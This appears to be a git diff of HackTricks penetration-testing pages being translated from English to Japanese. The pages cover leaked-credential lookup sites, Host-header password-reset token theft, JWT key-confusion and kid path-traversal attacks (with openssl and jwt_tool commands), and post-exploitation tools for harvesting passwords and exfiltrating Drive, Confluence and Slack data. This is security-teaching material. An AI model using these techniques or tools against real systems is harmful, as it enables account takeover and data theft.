[buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) -Find open S3 buckets searching by keyword. +キーワードで検索してオープンなS3バケットを見つけます。 # [Dehashed](https://www.dehashed.com/data) -Find leaked credentials of emails and even domains -Commercial? +メールやドメインの漏洩した資格情報を見つけます。 +商業用? # [psbdmp](https://psbdmp.ws/) -Search pastebins where a email appeared. Commercial? +メールが表示されたペーストビンを検索します。商業用? # [emailrep.io](https://emailrep.io/key) -Get reputation of a mail. Commercial? +メールの評判を取得します。商業用? # [ghostproject](https://ghostproject.fr/) -Get passwords from leaked emails. Commercial? +漏洩したメールからパスワードを取得します。商業用? # [Binaryedge](https://www.binaryedge.io/) -Obtain interesting info from IPs +IPから興味深い情報を取得します。 # [haveibeenpwned](https://haveibeenpwned.com/) -Search by domain and email and get if it was pwned and passwords. Commercial? +ドメインやメールで検索し、それが侵害されたかどうかとパスワードを取得します。商業用? -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\) +[https://dnsdumpster.com/](https://dnsdumpster.com/)(商業ツール内?) -[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\) +[https://www.netcraft.com/](https://www.netcraft.com/)(商業ツール内?) -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\) +[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/)(商業ツール内?) {{#include ./banners/hacktricks-training.md}} - diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index f442a4533..980655a11 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,34 +2,27 @@ {{#include ./banners/hacktricks-training.md}} -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ### Host header -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +バックエンドは、いくつかのアクションを実行するために**Host header**を信頼することがあります。たとえば、その値を**パスワードリセットを送信するドメイン**として使用することがあります。したがって、パスワードをリセットするためのリンクが含まれたメールを受け取ると、使用されるドメインはHost headerに入力したものになります。その後、他のユーザーのパスワードリセットを要求し、ドメインを自分が制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +> ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない可能性があることに注意してください。おそらく、**スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析することもあります**。 ### Session booleans -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、そのチェックに成功したかどうかを知ることができます。\ +ただし、**チェックに合格**し、セキュリティ属性に「True」値が付与された場合、**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセス権がないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### Register functionality -Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). +既存のユーザーとして登録を試みてください。また、同等の文字(ドット、たくさんのスペース、Unicode)を使用してみてください。 ### Takeover emails -Register an email, before confirming it change the email, then, if the new confirmation email is sent to the first registered email,you can takeover any email. Or if you can enable the second email confirming the firt one, you can also takeover any account. +メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録されたメールに送信される場合、任意のメールを乗っ取ることができます。また、最初のメールを確認するために2番目のメールを有効にできる場合も、任意のアカウントを乗っ取ることができます。 ### Access Internal servicedesk of companies using atlassian @@ -37,16 +30,9 @@ Register an email, before confirming it change the email, then, if the new confi ### TRACE method -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、Webサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md index 8bd354c0a..eab52c168 100644 --- a/src/pentesting-dns.md +++ b/src/pentesting-dns.md @@ -1,9 +1,9 @@ {{#include ./banners/hacktricks-training.md}} -**Research more about attacks to DNS** +**DNSへの攻撃についてさらに調査する** -**DNSSEC and DNSSEC3** +**DNSSECとDNSSEC3** -**DNS in IPv6** +**IPv6におけるDNS** {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index fbeb2b952..847c166e2 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -31,20 +31,20 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s JWTの署名が検証されているかどうかを確認するには: -- エラーメッセージは継続的な検証を示唆します。詳細なエラーに含まれる機密情報は確認する必要があります。 +- エラーメッセージが検証中を示唆している場合、詳細なエラーに含まれる機密情報を確認する必要があります。 - 返されたページの変更も検証を示します。 -- 変更がない場合は検証が行われていないことを示します。この場合、ペイロードの主張を改ざんする実験を行うべきです。 +- 変更がない場合は検証が行われていないことを示唆しており、この時にペイロードの主張を改ざんする実験を行うべきです。 ### 起源 -トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べて判断することが重要です。 +トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べることで判断することが重要です。 - クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。 - サーバー側から発生したトークンは、安全なプロセスを示します。 ### 期間 -トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているか確認してください。 +トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているかどうかを確認してください。 ### HMAC秘密鍵のブルートフォース @@ -63,7 +63,7 @@ Burp拡張機能「JSON Web Token」を使用して、この脆弱性を試し アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。 -次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行してWebサーバーの証明書を取得できます: +次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -81,9 +81,9 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem - **「jku」ヘッダーを持つトークンの評価**: - 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。 -- トークンの「jku」値を変更して、制御されたウェブサービスに向けることで、トラフィックを観察します。 +- トークンの「jku」値を変更して、制御されたウェブサービスに向け、トラフィックを観察できるようにします。 - **HTTPインタラクションの監視**: -- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。 +- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることが示されます。 - このプロセスで`jwt_tool`を使用する際は、テストを容易にするために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。 - **`jwt_tool`のコマンド**: @@ -128,7 +128,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### jku jkuは**JWK Set URL**を表します。\ -トークンが“**jku**”**ヘッダー**クレームを使用している場合は、**提供されたURLを確認してください**。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指す必要があります。トークンを改ざんして、jku値を監視できるウェブサービスにポイントさせます。 +トークンが“**jku**”**ヘッダー**クレームを使用している場合は、**提供されたURLを確認してください**。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指す必要があります。トークンを改ざんして、jku値を監視できるWebサービスにポイントさせます。 まず、新しいプライベートおよびパブリックキーを持つ新しい証明書を作成する必要があります。 ```bash @@ -213,12 +213,12 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。 -以下は例です: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1を使用)](https://asecuritysite.com/encryption/ecd5) +ここに例があります: [ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1を使用)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) -JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\ -しかし、IDの最大長が4(0001-9999)である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます(各成功した再生の間に10000リクエストを送信する必要があります)。 +JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンが再生されるのを防ぐために使用できます。\ +しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます(各成功した再生の間に10000リクエストを送信する必要があります)。 ### JWT登録クレーム @@ -234,7 +234,7 @@ JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供し **トークンの有効期限チェック** -トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーを偽装できる可能性があります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、アプリケーションによる関連チェックの実装が重要であり、この値の処理と期限切れトークンの拒否を確実に行う必要があります。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が切れた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。 +トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーを偽装できる可能性があります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、アプリケーションによる関連チェックの実装が重要であり、この値の処理と期限切れトークンの拒否を確実に行う必要があります。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、トークンを保存し、有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限チェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。 - アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならないことを示唆する可能性があるため、セキュリティリスクが存在するかもしれません。 diff --git a/src/post-exploitation.md b/src/post-exploitation.md index 531f82530..5463d5436 100644 --- a/src/post-exploitation.md +++ b/src/post-exploitation.md @@ -1,16 +1,16 @@ {{#include ./banners/hacktricks-training.md}} -## **Local l00t** +## **ローカル l00t** -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): これらのスクリプトは、PEベクターを探すだけでなく、ファイルシステム内の機密情報も探します。 +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagneプロジェクト**は、ローカルコンピュータに保存された**多数のパスワードを取得するために使用されるオープンソースアプリケーション**です。各ソフトウェアは、異なる技術(プレーンテキスト、API、カスタムアルゴリズム、データベースなど)を使用してパスワードを保存します。このツールは、最も一般的に使用されるソフトウェアのパスワードを見つける目的で開発されました。 -## **External Services** +## **外部サービス** -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): このモジュールは、アクセストークンを使用してConfluenceのAPIに接続し、PDFにエクスポートし、ターゲットがアクセスできるConfluence文書をダウンロードします。 +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): 攻撃者がアクセスできるターゲットのGoogle Driveからファイルを抽出するためのRed Teamツールで、Google Drive APIを介して行います。これには、すべての共有ファイル、共有ドライブからのすべてのファイル、およびターゲットがアクセスできるドメインドライブからのすべてのファイルが含まれます。 +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): あなたがアクセスできるターゲット組織のGoogle People Directoryを抽出するためのRed Teamツールで、GoogleのPeople APIを介して行います。 +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** これは、アクセストークンを与えられたSlackワークスペースから「興味深い」情報を抽出するためにネイティブSlack APIを使用するPythonで開発されたツールです。 +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhoundは、Red TeamとBlue TeamがSlackワークスペース/組織の偵察を迅速に行うためのコマンドラインツールです。Slackhoundは、組織のユーザー、ファイル、メッセージなどの収集を迅速に検索可能にし、大きなオブジェクトはオフラインレビューのためにCSVに書き出されます。 {{#include ./banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index c24ee8094..3846ca180 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Stealing Sensitive Information Disclosure from a Web +# ウェブからの機密情報漏洩の盗難 {{#include ./banners/hacktricks-training.md}} -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: +もしあなたが**セッションに基づいて機密情報を表示するウェブページ**を見つけた場合:クッキーを反映しているか、印刷またはクレジットカードの詳細やその他の機密情報を表示しているかもしれません。あなたはそれを盗むことを試みるかもしれません。\ +ここでは、それを達成するために試すことができる主な方法を紹介します: -- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +- [**CORSバイパス**](pentesting-web/cors-bypass.md):CORSヘッダーをバイパスできれば、悪意のあるページに対してAjaxリクエストを行うことで情報を盗むことができます。 +- [**XSS**](pentesting-web/xss-cross-site-scripting/): ページにXSS脆弱性が見つかれば、それを悪用して情報を盗むことができるかもしれません。 +- [**ダンギングマークアップ**](pentesting-web/dangling-markup-html-scriptless-injection/): XSSタグを注入できない場合でも、他の通常のHTMLタグを使用して情報を盗むことができるかもしれません。 +- [**クリックジャッキング**](pentesting-web/clickjacking.md):この攻撃に対する保護がない場合、ユーザーを騙して機密データを送信させることができるかもしれません(例は[こちら](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20))。 {{#include ./banners/hacktricks-training.md}}